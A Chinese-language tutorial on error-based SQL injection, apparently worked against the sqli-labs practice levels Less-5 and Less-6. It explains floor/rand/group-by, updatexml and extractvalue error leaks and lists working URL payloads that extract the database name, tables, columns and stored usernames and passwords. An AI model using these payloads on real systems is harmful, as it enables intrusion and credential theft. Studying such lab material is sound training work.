0x0 SQL注入基本姿势

floor报错注入

Rand() //随机函数,用于产生 0 至 1 之间的随机数
Floor() //取整函数,向下舍入为指定小数位数 如:floor(1.45,0)= 1;floor(1.55,0) = 1
Count() //汇总函数
Group by clause //分组语句
concat() //连接两个字符串

在一个聚合函数,比如count函数后面如果使用 Group by 分组语句就会把查询的一部分以错误的形式显示出来

SELECT floor(rand()*2) //查询结果不是0就是1
SELECT CONCAT((SELECT database()), FLOOR(RAND()*2)) //查询出数据库的名称并在后面拼接0或者1

如果我们把这条语句后面加上 from 一个表名。那么一般会返回security0或security1的一个集合。数目是由表本身有几条结果决定的

select concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a;
//把concat((select database()), floor(rand()2)) 这个结果取了一个别名 a
//然后使用他进行分组。这样相同的security0分到一组,security1分到一组。就剩下两个结果了

select count(*), concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a;
//加入count引起报错,或者正常输出

select count(*), concat('0x7C',(select user()),'0x7C', floor(rand()*2)) as a from information_schema.tables group by a;
//加入 '~'让结果更加清晰

updatexml()函数

select * from message where id = 1 and updatexml (1, (concat (0x7C, (select @@version))) ,1);

extractvalue()函数

select * from message where id= 1 and extractvalue (1, concat (0x7C, (select user()));

0x1 LESS-5

  • 存在注入点

  • 爆出数据库

?id=1' union select updatexml (1, (concat (0x7e, (select database()),0x7e)) ,1) --+

  • 爆出表名

?id=1' union select updatexml (1, (concat (0x7e, (select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e)) ,1) --+

  • 爆出字段

?id=1' union select updatexml (1, (concat (0x7e, (select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema = database()),0x7e)) ,1) --+

  • 爆出用户名密码

?id=1' and updatexml(1,concat(0x5e,(select group_concat(username,0x7e,password) from users),0x5e),1) --+
只爆出了部分结果
?id=1' and updatexml(1,concat(0x5e,(substr((select group_concat(username,0x7e,password) from user),1)),0x5e),1)--+
更改user后面的参数来控制

0x2 LESS-6

  • 存在注入点

  • 使用floor报错注入,爆出库名
?id=1(")" union SELECT 1,count(*),concat(0x7e,(select ''''''''),floor(rand()*2),0x7e)as a from information_schema.tables group by a --+
 //union stelect 1,count(*), *** as a 联合查询1,***并他们命名为A
 //from information_schema.table 从这个表
 //group by a 分成几组,把结果分组输出
// 利用 count + floor +group by会报错的原理

?id=1" union SELECT 1,count(*),concat(0x7e,(select database()),floor(rand()*2),0x7e)as a from information_schema.tables group by a --+

  • 爆出表名

?id=1" union SELECT 1,count(*),concat(0x7e,(select table_name from information_schema.tables where table_schema='security'),floor(rand()*2),0x7e)as a from information_schema.tables group by a --+

这里多了一个键,键1已经存在虚拟表中,由于键只能唯一,所以此时就会报错。所以在使用floor()、rand(0)、count()、group by时,数据表中至少要有3条记录才会报错,所以我们在第二条select语句末尾加上limit x,1即可让它报错继续注入。

?id=1" union SELECT 1,count(*),concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand()*2),0x7e)as a from information_schema.tables group by a --+

  • 查到用户表

?id=1" union SELECT 1,count(*),concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),floor(rand()*2),0x7e)as a from information_schema.tables group by a --+

  • 爆列名

?id=1" union SELECT 1,count(*),concat(0x7e,(select column_name from information_schema.columns where table_schema=database()and table_name='users' limit 1,1),floor(rand()*2),0x7e)as a from information_schema.tables group by a --+

修改limit 1,1;limit2,1可以爆出存在username和password字段

  • 爆字段

?id=1" union SELECT 1,count(*),concat(0x7e,(select concat(0x5e,username,0x5e,password,0x5e) from users limit 0,1),floor(rand()*2),0x7e)as a from information_schema.tables group by a --+